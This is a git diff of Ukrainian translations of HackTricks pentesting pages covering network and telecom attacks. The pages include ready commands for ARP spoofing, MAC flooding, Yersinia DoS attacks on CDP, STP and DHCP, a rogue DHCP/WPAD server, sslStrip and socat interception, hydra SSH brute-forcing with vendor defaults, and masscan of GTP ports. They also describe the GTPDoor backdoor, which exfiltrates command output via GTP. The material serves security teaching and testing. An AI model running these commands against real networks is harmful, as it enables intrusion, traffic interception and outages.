**SCTP (Stream Control Transmission Protocol)** призначений для використання разом з **TCP (Transmission Control Protocol)** та **UDP (User Datagram Protocol)**. Його основна мета - полегшити транспортування телефонних даних через IP-мережі, відображаючи багато з функцій надійності, які є в **Signaling System 7 (SS7)**. **SCTP** є основним компонентом сімейства протоколів **SIGTRAN**, яке має на меті транспортувати сигнали SS7 через IP-мережі.
|
||||
|
||||
Підтримка **SCTP** надається різними операційними системами, такими як **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** та **VxWorks**, що свідчить про його широке визнання та корисність у сфері телекомунікацій та мережевих технологій.
|
||||
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
За допомогою Sniffing ви можете дізнатися деталі IP-діапазонів, розміри підмереж, MAC-адреси та імена хостів, переглядаючи захоплені кадри та пакети. Якщо мережа неправильно налаштована або комутаційна структура під тиском, зловмисники можуть захопити чутливі матеріали за допомогою пасивного мережевого Sniffing.
|
||||
Sniffing ви можете дізнатися деталі IP-діапазонів, розміри підмереж, MAC-адреси та імена хостів, переглядаючи захоплені кадри та пакети. Якщо мережа неправильно налаштована або комутаційна структура під навантаженням, зловмисники можуть захопити чутливі матеріали за допомогою пасивного мережевого sniffing.
|
||||
|
||||
Якщо мережа Ethernet з комутацією налаштована правильно, ви побачите лише широкомовні кадри та матеріали, призначені для вашої MAC-адреси.
|
||||
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM переповнення
|
||||
|
||||
Переповніть CAM таблицю комутатора, відправляючи багато пакетів з різними MAC-адресами джерела. Коли CAM таблиця заповнена, комутатор починає поводитися як хаб (широкосмугово транслюючи весь трафік).
|
||||
Переповнити CAM таблицю комутатора, відправляючи багато пакетів з різними MAC-адресами джерела. Коли CAM таблиця заповнена, комутатор починає поводитися як хаб (широкосмугово передаючи весь трафік).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -256,9 +256,9 @@ macof -i <interface>
|
||||
|
||||
#### Динамічне Транкування
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** розроблений як протокол канального рівня для полегшення автоматичної системи транкування, що дозволяє комутаторам автоматично вибирати порти для режиму транку (Trunk) або нетранкувального режиму. Використання **DTP** часто вважається показником субоптимального дизайну мережі, підкреслюючи важливість ручного налаштування транків лише там, де це необхідно, і забезпечення належної документації.
|
||||
**Dynamic Trunking Protocol (DTP)** розроблений як протокол канального рівня для полегшення автоматичної системи транкування, що дозволяє комутаторам автоматично вибирати порти для режиму транку (Trunk) або нетранкового режиму. Використання **DTP** часто вважається показником субоптимального дизайну мережі, підкреслюючи важливість ручного налаштування транків лише там, де це необхідно, і забезпечення належної документації.
|
||||
|
||||
За замовчуванням порти комутатора налаштовані на роботу в режимі Dynamic Auto, що означає, що вони готові ініціювати транкування, якщо це запитано сусіднім комутатором. Проблема безпеки виникає, коли пентестер або зловмисник підключається до комутатора і надсилає DTP Desirable кадр, змушуючи порт перейти в режим транку. Ця дія дозволяє зловмиснику перерахувати VLAN через аналіз кадрів STP і обійти сегментацію VLAN, налаштувавши віртуальні інтерфейси.
|
||||
За замовчуванням порти комутатора налаштовані на роботу в режимі Dynamic Auto, що означає, що вони готові ініціювати транкування, якщо це запитано сусіднім комутатором. Проблема безпеки виникає, коли пентестер або зловмисник підключається до комутатора і надсилає DTP Desirable кадр, змушуючи порт перейти в режим транку. Ця дія дозволяє зловмиснику перераховувати VLAN через аналіз кадрів STP і обходити сегментацію VLAN, налаштовуючи віртуальні інтерфейси.
|
||||
|
||||
Наявність DTP у багатьох комутаторах за замовчуванням може бути використана супротивниками для імітації поведінки комутатора, таким чином отримуючи доступ до трафіку через всі VLAN. Скрипт [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) використовується для моніторингу інтерфейсу, виявляючи, чи знаходиться комутатор у режимі Default, Trunk, Dynamic, Auto або Access—останній є єдиною конфігурацією, яка не підлягає атакам VLAN hopping. Цей інструмент оцінює статус вразливості комутатора.
|
||||
|
||||
@ -350,7 +350,7 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
У певних середовищах, таких як гостьові бездротові мережі, реалізуються налаштування **ізоляції портів (також відомі як приватний VLAN)**, щоб запобігти безпосередньому спілкуванню клієнтів, підключених до бездротової точки доступу. Однак виявлено техніку, яка може обійти ці заходи ізоляції. Ця техніка експлуатує або відсутність мережевих ACL, або їх неправильну конфігурацію, що дозволяє IP-пакетам маршрутизуватися через маршрутизатор для досягнення іншого клієнта в тій же мережі.
|
||||
У певних середовищах, таких як гостьові бездротові мережі, реалізуються налаштування **ізоляції портів (також відомої як приватний VLAN)**, щоб запобігти безпосередньому спілкуванню клієнтів, підключених до бездротової точки доступу. Однак виявлено техніку, яка може обійти ці заходи ізоляції. Ця техніка експлуатує або відсутність мережевих ACL, або їх неправильну конфігурацію, що дозволяє IP-пакетам маршрутизуватися через маршрутизатор для досягнення іншого клієнта в тій же мережі.
|
||||
|
||||
Атака виконується шляхом створення **пакета, який містить IP-адресу цільового клієнта, але з MAC-адресою маршрутизатора**. Це змушує маршрутизатор помилково переслати пакет до цільового клієнта. Цей підхід подібний до того, що використовується в атаках Double Tagging, де можливість контролювати хост, доступний жертві, використовується для експлуатації вразливості безпеки.
|
||||
|
||||
@ -366,14 +366,14 @@ VTP (VLAN Trunking Protocol) централізує управління VLAN.
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** Керує VLAN—створює, видаляє, модифікує. Він транслює оголошення VTP членам домену.
|
||||
- **VTP Client:** Отримує оголошення VTP для синхронізації своєї бази даних VLAN. Ця роль обмежена від модифікацій локальних конфігурацій VLAN.
|
||||
- **VTP Client:** Отримує оголошення VTP для синхронізації своєї бази даних VLAN. Ця роль обмежена від модифікацій локальної конфігурації VLAN.
|
||||
- **VTP Transparent:** Не бере участі в оновленнях VTP, але пересилає оголошення VTP. Не підлягає атакам VTP, підтримує постійний номер версії нуль.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Summary Advertisement:** Транслюється сервером VTP кожні 300 секунд, містить основну інформацію про домен.
|
||||
- **Subset Advertisement:** Надсилається після змін конфігурації VLAN.
|
||||
- **Advertisement Request:** Видається клієнтом VTP для запиту Summary Advertisement, зазвичай у відповідь на виявлення вищого номера версії конфігурації.
|
||||
- **Advertisement Request:** Видається клієнтом VTP для запиту Summary Advertisement, зазвичай у відповідь на виявлення вищого номера конфігурації.
|
||||
|
||||
Вразливості VTP можуть бути експлуатовані виключно через trunk порти, оскільки оголошення VTP циркулюють лише через них. Сценарії після атаки DTP можуть перейти до VTP. Інструменти, такі як Yersinia, можуть полегшити атаки VTP, намагаючись знищити базу даних VLAN, ефективно порушуючи мережу.
|
||||
|
||||
@ -385,7 +385,7 @@ VTP (VLAN Trunking Protocol) централізує управління VLAN.
|
||||
|
||||
### Атаки STP
|
||||
|
||||
**Якщо ви не можете захопити кадри BPDU на своїх інтерфейсах, малоймовірно, що ви зможете успішно провести атаку STP.**
|
||||
**Якщо ви не можете захопити кадри BPDU на своїх інтерфейсах, малоймовірно, що ви досягнете успіху в атаці STP.**
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
@ -425,13 +425,13 @@ CDP налаштовано на трансляцію інформації чер
|
||||
|
||||
#### Виклик затоплення таблиці CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Більш агресивний підхід полягає в запуску атаки відмови в обслуговуванні (DoS), перевантажуючи пам'ять комутатора, вдаючи з себе легітимні пристрої CISCO. Нижче наведено послідовність команд для ініціювання такої атаки за допомогою Yersinia, інструменту для тестування мережі:
|
||||
Більш агресивний підхід полягає в запуску атаки відмови в обслуговуванні (DoS), перевантажуючи пам'ять комутатора, видаючи себе за легітимні пристрої CISCO. Нижче наведено послідовність команд для ініціювання такої атаки за допомогою Yersinia, інструменту для тестування мережі:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
sudo yersinia -G
|
||||
```
|
||||
Під час цієї атаки процесор комутатора та таблиця сусідів CDP зазнають великого навантаження, що призводить до того, що часто називають **“мертвим з'єднанням”** через надмірне споживання ресурсів.
|
||||
Під час цієї атаки процесор комутатора та таблиця сусідів CDP зазнають великого навантаження, що призводить до того, що часто називають **“паралічем мережі”** через надмірне споживання ресурсів.
|
||||
|
||||
#### Атака на підробку CDP
|
||||
```bash
|
||||
@ -442,24 +442,24 @@ sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
|
||||
### Атаки VoIP та інструмент VoIP Hopper
|
||||
|
||||
Телефони VoIP, які все більше інтегруються з пристроями IoT, пропонують функції, такі як відкриття дверей або управління термостатами через спеціальні телефонні номери. Однак ця інтеграція може створювати ризики для безпеки.
|
||||
VoIP телефони, які все більше інтегруються з IoT пристроями, пропонують функції, такі як відкриття дверей або управління термостатами через спеціальні телефонні номери. Однак ця інтеграція може створювати ризики для безпеки.
|
||||
|
||||
Інструмент [**voiphopper**](http://voiphopper.sourceforge.net) призначений для емуляції VoIP телефону в різних середовищах (Cisco, Avaya, Nortel, Alcatel-Lucent). Він виявляє VLAN ID голосової мережі, використовуючи протоколи, такі як CDP, DHCP, LLDP-MED та 802.1Q ARP.
|
||||
|
||||
**VoIP Hopper** пропонує три режими для протоколу Cisco Discovery Protocol (CDP):
|
||||
|
||||
1. **Режим прослуховування** (`-c 0`): Аналізує мережеві пакети для визначення VLAN ID.
|
||||
2. **Режим підробки** (`-c 1`): Генерує користувацькі пакети, що імітують пакети реального VoIP пристрою.
|
||||
3. **Режим підробки з готовими пакетами** (`-c 2`): Відправляє пакети, ідентичні пакетам конкретної моделі Cisco IP телефону.
|
||||
1. **Sniff Mode** (`-c 0`): Аналізує мережеві пакети для визначення VLAN ID.
|
||||
2. **Spoof Mode** (`-c 1`): Генерує користувацькі пакети, що імітують пакети реального VoIP пристрою.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Відправляє пакети, ідентичні пакетам конкретної моделі Cisco IP телефону.
|
||||
|
||||
Переважний режим для швидкості - це третій. Він вимагає вказати:
|
||||
|
||||
- Мережева інтерфейс атакуючого (`-i` параметр).
|
||||
- Назва VoIP пристрою, що емулюється (`-E` параметр), відповідно до формату іменування Cisco (наприклад, SEP, за яким слідує MAC-адреса).
|
||||
- Назва VoIP пристрою, що емулюється (`-E` параметр), відповідно до формату іменування Cisco (наприклад, SEP, за яким слідує MAC адреса).
|
||||
|
||||
У корпоративних умовах, щоб імітувати існуючий VoIP пристрій, можна:
|
||||
|
||||
- Перевірити MAC-мітку на телефоні.
|
||||
- Перевірити MAC етикетку на телефоні.
|
||||
- Перейти до налаштувань дисплея телефону, щоб переглянути інформацію про модель.
|
||||
- Підключити VoIP пристрій до ноутбука та спостерігати запити CDP за допомогою Wireshark.
|
||||
|
||||
@ -489,7 +489,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
|
||||
```
|
||||
**DoS**
|
||||
|
||||
**Два типи DoS** можуть бути виконані проти DHCP серверів. Перший полягає в **імітації достатньої кількості фейкових хостів для використання всіх можливих IP-адрес**.\
|
||||
**Два типи DoS** можуть бути виконані проти DHCP серверів. Перший полягає в тому, щоб **симулювати достатню кількість фейкових хостів для використання всіх можливих IP-адрес**.\
|
||||
Ця атака спрацює лише якщо ви можете бачити відповіді DHCP сервера і завершити протокол (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Наприклад, це **неможливо в Wifi мережах**.
|
||||
|
||||
Інший спосіб виконати DHCP DoS - це надіслати **DHCP-RELEASE пакет, використовуючи як вихідний код кожну можливу IP-адресу**. Тоді сервер подумає, що всі закінчили використовувати IP.
|
||||
@ -499,26 +499,26 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Більш автоматизований спосіб зробити це - використати інструмент [DHCPing](https://github.com/kamorin/DHCPig).
|
||||
|
||||
Ви можете використовувати згадані атаки DoS, щоб змусити клієнтів отримувати нові оренди в середовищі та виснажити легітимні сервери, щоб вони стали неактивними. Тож, коли легітимні спробують повторно підключитися, **ви можете надати шкідливі значення, згадані в наступній атаці**.
|
||||
Ви можете використовувати згадані DoS-атаки, щоб змусити клієнтів отримувати нові оренди в середовищі та виснажити легітимні сервери, щоб вони стали неактивними. Тож, коли легітимні спробують повторно підключитися, **ви можете надати шкідливі значення, згадані в наступній атаці**.
|
||||
|
||||
#### Встановлення шкідливих значень
|
||||
|
||||
Шкідливий DHCP сервер можна налаштувати за допомогою DHCP скрипта, розташованого за адресою `/usr/share/responder/DHCP.py`. Це корисно для мережевих атак, таких як захоплення HTTP трафіку та облікових даних, шляхом перенаправлення трафіку на шкідливий сервер. Однак налаштування шкідливого шлюзу менш ефективне, оскільки воно дозволяє лише захоплювати вихідний трафік від клієнта, пропускаючи відповіді від реального шлюзу. Натомість рекомендується налаштувати шкідливий DNS або WPAD сервер для більш ефективної атаки.
|
||||
Шкідливий DHCP сервер можна налаштувати за допомогою DHCP скрипта, розташованого за адресою `/usr/share/responder/DHCP.py`. Це корисно для мережевих атак, таких як захоплення HTTP-трафіку та облікових даних, шляхом перенаправлення трафіку на шкідливий сервер. Однак налаштування шкідливого шлюзу менш ефективне, оскільки воно дозволяє лише захоплювати вихідний трафік від клієнта, пропускаючи відповіді від реального шлюзу. Натомість рекомендується налаштувати шкідливий DNS або WPAD сервер для більш ефективної атаки.
|
||||
|
||||
Нижче наведені параметри команд для налаштування шкідливого DHCP сервера:
|
||||
|
||||
- **Наша IP адреса (Реклама шлюзу)**: Використовуйте `-i 10.0.0.100`, щоб рекламувати IP вашої машини як шлюз.
|
||||
- **Наша IP-адреса (Реклама шлюзу)**: Використовуйте `-i 10.0.0.100`, щоб рекламувати IP-адресу вашої машини як шлюз.
|
||||
- **Локальне ім'я домену DNS**: За бажанням, використовуйте `-d example.org`, щоб встановити локальне ім'я домену DNS.
|
||||
- **Оригінальна IP адреса маршрутизатора/шлюзу**: Використовуйте `-r 10.0.0.1`, щоб вказати IP адресу легітимного маршрутизатора або шлюзу.
|
||||
- **IP адреса основного DNS сервера**: Використовуйте `-p 10.0.0.100`, щоб встановити IP адресу шкідливого DNS сервера, яким ви керуєте.
|
||||
- **IP адреса вторинного DNS сервера**: За бажанням, використовуйте `-s 10.0.0.1`, щоб встановити IP адресу вторинного DNS сервера.
|
||||
- **Оригінальна IP-адреса маршрутизатора/шлюзу**: Використовуйте `-r 10.0.0.1`, щоб вказати IP-адресу легітимного маршрутизатора або шлюзу.
|
||||
- **IP-адреса основного DNS сервера**: Використовуйте `-p 10.0.0.100`, щоб встановити IP-адресу шкідливого DNS сервера, яким ви керуєте.
|
||||
- **IP-адреса вторинного DNS сервера**: За бажанням, використовуйте `-s 10.0.0.1`, щоб встановити IP-адресу вторинного DNS сервера.
|
||||
- **Маска підмережі локальної мережі**: Використовуйте `-n 255.255.255.0`, щоб визначити маску підмережі для локальної мережі.
|
||||
- **Інтерфейс для DHCP трафіку**: Використовуйте `-I eth1`, щоб слухати DHCP трафік на конкретному мережевому інтерфейсі.
|
||||
- **Інтерфейс для DHCP-трафіку**: Використовуйте `-I eth1`, щоб слухати DHCP-трафік на конкретному мережевому інтерфейсі.
|
||||
- **Адреса конфігурації WPAD**: Використовуйте `-w “http://10.0.0.100/wpad.dat”`, щоб встановити адресу для конфігурації WPAD, що допомагає в перехопленні веб-трафіку.
|
||||
- **Підробка IP адреси за замовчуванням шлюзу**: Додайте `-S`, щоб підробити IP адресу шлюзу за замовчуванням.
|
||||
- **Підробка IP-адреси за замовчуванням шлюзу**: Додайте `-S`, щоб підробити IP-адресу шлюзу за замовчуванням.
|
||||
- **Відповідати на всі DHCP запити**: Додайте `-R`, щоб сервер відповідав на всі DHCP запити, але будьте обережні, оскільки це шумно і може бути виявлено.
|
||||
|
||||
Правильно використовуючи ці параметри, можна ефективно встановити шкідливий DHCP сервер для перехоплення мережевого трафіку.
|
||||
Правильно використовуючи ці параметри, можна створити шкідливий DHCP сервер для ефективного перехоплення мережевого трафіку.
|
||||
```python
|
||||
# Example to start a rogue DHCP server with specified options
|
||||
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
|
||||
@ -528,8 +528,8 @@ yersinia dhcp -attack 3 #More parameters are needed
|
||||
Ось деякі тактики атак, які можна використовувати проти реалізацій 802.1X:
|
||||
|
||||
- Активне брутфорсинг паролів через EAP
|
||||
- Атака на сервер RADIUS з неправильно сформованим EAP-контентом _\*\*_(експлойти)
|
||||
- Захоплення EAP-повідомлень та офлайн-ламання паролів (EAP-MD5 та PEAP)
|
||||
- Атака на сервер RADIUS з неправильно сформованим EAP контентом _\*\*_(експлойти)
|
||||
- Захоплення EAP повідомлень та офлайн злом паролів (EAP-MD5 та PEAP)
|
||||
- Примусова аутентифікація EAP-MD5 для обходу перевірки сертифіката TLS
|
||||
- Впровадження шкідливого мережевого трафіку під час аутентифікації за допомогою хаба або подібного
|
||||
|
||||
@ -558,11 +558,11 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Покращений протокол маршрутизації внутрішніх шлюзів)** - це динамічний протокол маршрутизації. **Це протокол вектору відстані.** Якщо **немає аутентифікації** та налаштування пасивних інтерфейсів, **зловмисник** може втручатися в маршрутизацію EIGRP і викликати **отруєння таблиць маршрутизації**. Більше того, мережа EIGRP (іншими словами, автономна система) **є плоскою і не має сегментації на зони**. Якщо **зловмисник інжектує маршрут**, ймовірно, що цей маршрут **пошириться** по всій автономній системі EIGRP.
|
||||
**EIGRP (Покращений протокол маршрутизації внутрішніх шлюзів)** - це динамічний протокол маршрутизації. **Це протокол векторів відстані.** Якщо **немає аутентифікації** та налаштування пасивних інтерфейсів, **зловмисник** може втручатися в маршрутизацію EIGRP і викликати **отруєння таблиць маршрутизації**. Більше того, мережа EIGRP (іншими словами, автономна система) **є плоскою і не має сегментації на зони**. Якщо **зловмисник інжектує маршрут**, ймовірно, що цей маршрут **пошириться** по всій автономній системі EIGRP.
|
||||
|
||||
Для атаки на систему EIGRP потрібно **встановити сусідство з легітимним маршрутизатором EIGRP**, що відкриває багато можливостей, від базового розвідки до різних ін'єкцій.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) дозволяє реалізувати **віртуальний маршрутизатор, який підтримує BGP, OSPF, EIGRP, RIP та інші протоколи.** Все, що вам потрібно зробити, це розгорнути його на системі вашого атакуючого, і ви насправді можете вдавати, що ви легітимний маршрутизатор в домені маршрутизації.
|
||||
[**FRRouting**](https://frrouting.org/) дозволяє реалізувати **віртуальний маршрутизатор, який підтримує BGP, OSPF, EIGRP, RIP та інші протоколи.** Все, що вам потрібно зробити, це розгорнути його на системі вашого атакуючого, і ви можете насправді вдавати, що ви легітимний маршрутизатор в домені маршрутизації.
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
@ -635,14 +635,14 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
```
|
||||
### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Для локального розв'язання хостів, коли запити DNS не вдаються, системи Microsoft покладаються на **Link-Local Multicast Name Resolution (LLMNR)** та **NetBIOS Name Service (NBT-NS)**. Аналогічно, **Apple Bonjour** та **Linux zero-configuration** реалізації використовують **Multicast DNS (mDNS)** для виявлення систем у мережі. Через неавтентифікований характер цих протоколів та їх роботу через UDP, транслюючи повідомлення, їх можуть експлуатувати зловмисники, які прагнуть перенаправити користувачів на шкідливі сервіси.
|
||||
Для локального розв'язання хостів, коли запити DNS не вдаються, системи Microsoft покладаються на **Link-Local Multicast Name Resolution (LLMNR)** та **NetBIOS Name Service (NBT-NS)**. Аналогічно, **Apple Bonjour** та **Linux zero-configuration** реалізації використовують **Multicast DNS (mDNS)** для виявлення систем у мережі. Через неавтентифікований характер цих протоколів та їх роботу через UDP, транслюючи повідомлення, їх можна експлуатувати зловмисниками, які прагнуть перенаправити користувачів на шкідливі сервіси.
|
||||
|
||||
Ви можете видавати себе за сервіси, які шукають хости, використовуючи Responder для надсилання фальшивих відповідей.\
|
||||
Читати тут більше інформації про [як видавати себе за сервіси з Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Браузери зазвичай використовують **протокол Web Proxy Auto-Discovery (WPAD) для автоматичного отримання налаштувань проксі**. Це передбачає отримання конфігураційних деталей з сервера, зокрема через URL, такий як "http://wpad.example.org/wpad.dat". Виявлення цього сервера клієнтами може відбуватися через різні механізми:
|
||||
Браузери зазвичай використовують **Web Proxy Auto-Discovery (WPAD) протокол для автоматичного отримання налаштувань проксі**. Це передбачає отримання конфігураційних деталей з сервера, зокрема через URL, такий як "http://wpad.example.org/wpad.dat". Виявлення цього сервера клієнтами може відбуватися через різні механізми:
|
||||
|
||||
- Через **DHCP**, де виявлення полегшується за допомогою спеціального коду 252.
|
||||
- Через **DNS**, що передбачає пошук імені хоста з міткою _wpad_ у локальному домені.
|
||||
@ -652,7 +652,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Ви можете пропонувати різні сервіси в мережі, щоб спробувати **обманути користувача** ввести деякі **паролі в простому тексті**. **Більше інформації про цю атаку в** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Ви можете пропонувати різні сервіси в мережі, щоб спробувати **обманути користувача** ввести деякі **текстові облікові дані**. **Більше інформації про цю атаку в** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### IPv6 Neighbor Spoofing
|
||||
|
||||
@ -699,12 +699,12 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
||||
|
||||
**Різниця** між **sslStrip+ та dns2proxy** і **sslStrip** полягає в тому, що вони **перенаправлятимуть**, наприклад, _**www.facebook.com**_ **на** _**wwww.facebook.com**_ (зверніть увагу на **додаткову** "**w**") і встановлять **адресу цього домену як IP-адресу атакуючого**. Таким чином, **клієнт** буде **підключатися** до _**wwww.facebook.com**_ **(атакуючого)**, але за лаштунками **sslstrip+** буде **підтримувати** **реальне з'єднання** через https з **www.facebook.com**.
|
||||
|
||||
**Мета** цієї техніки полягає в тому, щоб **уникнути HSTS**, оскільки _**wwww**.facebook.com_ **не буде** збережено в **кеші** браузера, тому браузер буде обмануто виконати **автентифікацію facebook через HTTP**.\
|
||||
**Мета** цієї техніки полягає в тому, щоб **уникнути HSTS**, оскільки _**wwww**.facebook.com_ **не буде** збережено в **кеші** браузера, тому браузер буде обмануто для виконання **автентифікації facebook через HTTP**.\
|
||||
Зверніть увагу, що для виконання цієї атаки жертва повинна спочатку спробувати отримати доступ до [http://www.faceook.com](http://www.faceook.com), а не https. Це можна зробити, модифікуючи посилання всередині http-сторінки.
|
||||
|
||||
Більше інформації [тут](https://www.bettercap.org/legacy/#hsts-bypass), [тут](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) та [тут](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip або sslStrip+ більше не працюють. Це пов'язано з тим, що в браузерах збережені правила HSTS, тому навіть якщо це перший раз, коли користувач отримує доступ до "важливого" домену, він отримає доступ через HTTPS. Також зверніть увагу, що збережені правила та інші згенеровані правила можуть використовувати прапор** [**`includeSubdomains`**](https://hstspreload.appspot.com) **тому приклад** _**wwww.facebook.com**_ **з попереднього разу більше не працюватиме, оскільки** _**facebook.com**_ **використовує HSTS з `includeSubdomains`.**
|
||||
**sslStrip або sslStrip+ більше не працюють. Це пов'язано з тим, що в браузерах збережені правила HSTS, тому навіть якщо це перший раз, коли користувач отримує доступ до "важливого" домену, він отримає доступ через HTTPS. Також зверніть увагу, що збережені правила та інші згенеровані правила можуть використовувати прапорець** [**`includeSubdomains`**](https://hstspreload.appspot.com) **тому приклад** _**wwww.facebook.com**_ **з попереднього разу більше не спрацює, оскільки** _**facebook.com**_ **використовує HSTS з `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
@ -734,7 +734,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Іноді, якщо клієнт перевіряє, що CA є дійсним, ви можете **надати сертифікат іншого імені хоста, підписаний CA**.\
|
||||
Ще один цікавий тест - це надати **сертифікат запитуваного імені хоста, але самопідписаний**.
|
||||
Ще один цікавий тест - це **надати сертифікат запитуваного імені хоста, але самопідписаний**.
|
||||
|
||||
Інші речі для тестування - це спробувати підписати сертифікат дійсним сертифікатом, який не є дійсним CA. Або використовувати дійсний відкритий ключ, примусити використовувати алгоритм, як-от diffie hellman (той, що не потребує розшифровки нічого з реальним приватним ключем) і коли клієнт запитує пробу реального приватного ключа (як хеш), надіслати фальшиву пробу і сподіватися, що клієнт цього не перевірить.
|
||||
|
||||
@ -764,13 +764,13 @@ set wifi.ap.channel 5
|
||||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Активні нотатки про виявлення
|
||||
### Примітки щодо активного виявлення
|
||||
|
||||
Врахуйте, що коли UDP пакет надсилається на пристрій, який не має запитуваного порту, надсилається ICMP (Port Unreachable).
|
||||
Зверніть увагу, що коли UDP-пакет надсилається на пристрій, який не має запитуваного порту, надсилається ICMP (Port Unreachable).
|
||||
|
||||
### **ARP виявлення**
|
||||
|
||||
ARP пакети використовуються для виявлення, які IP-адреси використовуються в мережі. ПК повинен надіслати запит для кожної можливої IP-адреси, і лише ті, що використовуються, відповідають.
|
||||
Пакети ARP використовуються для виявлення, які IP-адреси використовуються в мережі. ПК повинен надіслати запит для кожної можливої IP-адреси, і лише ті, що використовуються, відповідають.
|
||||
|
||||
### **mDNS (мультимедійний DNS)**
|
||||
|
||||
@ -804,7 +804,7 @@ telecom-network-exploitation.md
|
||||
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- **Оцінка безпеки мережі: Знайте свою мережу (3-е видання)**
|
||||
- **Практичний IoT Хакінг: Останній посібник з атаки на Інтернет речей. Автори: Фотіс Ханцис, Іоаніс Стаіс, Пауліно Кальдерон, Євангелос Дейрментзоглу, Боу Вуд**
|
||||
- **Практичний IoT Хакінг: Останній посібник з атаки на Інтернет речей. Автори: Фотіс Ханцис, Іоаніс Стайс, Пауліно Кальдерон, Євангелос Дейрментзоглу, Беа Вуд**
|
||||
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -15,7 +15,7 @@ hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o
|
||||
Якщо пристрій відкриває лише управлінський VRF, спочатку переходьте через хост-перескок (див. розділ «SGSN Emu Tunnel» нижче).
|
||||
|
||||
### 1.2 Виявлення хостів всередині GRX/IPX
|
||||
Більшість операторів GRX все ще дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити GTP-C слухачів:
|
||||
Більшість операторів GRX все ще дозволяють **ICMP echo** через магістраль. Поєднайте `masscan` з вбудованими UDP-пробами `gtpv1`, щоб швидко відобразити слухачів GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Виконання коду через GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` є маленьким ELF-сервісом, який **прив'язує UDP 2123 і аналізує кожен вхідний GTP-C пакет**. Коли корисне навантаження починається з попередньо поділеного тегу, решта розшифровується (AES-128-CBC) і виконується через `/bin/sh -c`. Стандартний вивід/помилки ексфільтруються всередині **Echo Response** повідомлень, щоб жодна зовнішня сесія ніколи не створювалася.
|
||||
`GTPDoor` є маленьким ELF-сервісом, який **прив'язує UDP 2123 та аналізує кожен вхідний GTP-C пакет**. Коли корисне навантаження починається з попередньо поділеного тегу, решта розшифровується (AES-128-CBC) та виконується через `/bin/sh -c`. Стандартний вивід/помилки ексфільтруються всередині **Echo Response** повідомлень, щоб жодна зовнішня сесія ніколи не створювалася.
|
||||
|
||||
